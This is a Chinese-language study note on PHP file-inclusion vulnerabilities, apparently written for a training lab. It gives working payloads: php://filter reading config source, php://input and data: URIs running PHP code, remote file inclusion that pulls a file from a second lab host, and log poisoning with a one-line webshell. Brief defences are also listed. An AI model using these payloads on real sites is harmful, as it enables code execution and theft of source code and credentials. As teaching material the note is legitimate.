常见的文件包含漏洞
一、什么是文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。
例如:include “conn.php”
PHP中常见包含文件函数
include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进
来,发生错误时之给出一个警告,继续向下执行。
include_once()
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
require()
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
include :包含的文件不存在,程序会继续执行
require:包含文件不存在,程序停止执行
文件包含
1,利用
伪协议
php://input (allow_url_include)
php:fileter/read
php:date:text/plain(allow_url_include/fopen)
2,包含其他文件
1,本地,包含日志文件,session,错误日志
2,远程,allow_url_fopen,allow_url_include
3,挖掘
1,代码审计
2,扫描器
4,防护
open_basedir
过滤.
关闭allow_url_fopen,allow_url_include
补充:
文件包含
修改apache配置文件
1,记录日志 修改httpd.conf
#CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" common #普通类型
CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" combined #复合类型
<IfModule log_config_module>
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
</IfModule>
#php文件包含漏洞
http://www.freebuf.com/column/148886.html
php伪协议:不需要开启allow_url_fopen,
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
# (php://filter: php://filter 读取网站源码)
是PHP语言中特有的协议流,作用是作为一个“中间流”
来处理其他流。比如下面的代码,我们可以把conn.php配置文件转换成base64编码并输出:
http://172.18.199.199/14-include/01.php?page=php://filter/read=convert.base64-encode/resource=../03-session/conn.php
# (php://input 接受post请求,并执行里面的代码)
https://www.cnblogs.com/ningskyer/articles/4712597.html
http://172.18.199.199/14-include/01.php?page=php://input
php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data”
我们应该怎么去理解这段概述呢?我把它划分为三部分,逐步去理解:
1,读取POST数据
2,不能用于multipart/form-data类型
3,php://input VS $HTTP_RAW_POST_DATA
# (data伪协议:data:text/plain,<?php system('config');?> 直接执行后面的代码)
page=data:text/plain,<?php system('config');?>
http://172.18.199.199/14-include/01.php?page=data:text/plain,<?php system('ipconfig');?>
----------------------------文件包含漏洞除了可以包含你上传的文件,日志文件,session文件。。。---------------
# 如果php.ini开启了allow_url_include=on
伪协议:
*-1 php://filter 读取网站文件源码 xxx.php?page=php://filter/read=convert.base64-encode/resource=路径
*-2 php://input 接受post请求,执行里面的php代码 xxx.php?page=php://input
构造post请求 <?php phpinfo()?>
*-3 data协议: xxx.php?page=data:text/plain,<?php phpinfo();?>
*-4 包含远程文件 进攻目标站 http://172.18.199.199 存在文件包含
远程文件包含,包含的文件不能被解析。
攻击语法:http://172.18.199.199/14-include/01.php?page=http://172.18.199.13/www/one.txt
xxx.php?page=http://172.18.199.13/one.php
文件包含防御
修改配置文件php.ini 限制包含目录
open_basedir=D:/phpStudy/WWW/14-include/
对开启日志运用kaliLinux 访问,curl “http://xxxx.com”利用这样的格式,替换为一句话木马等等脚本内容,然后对日志文件进行访问
但是有个重要的问题,凌晨左右日志文件会重新生成,这个时候插入脚本会有比较好的效果不会被其他的访问内容所影响。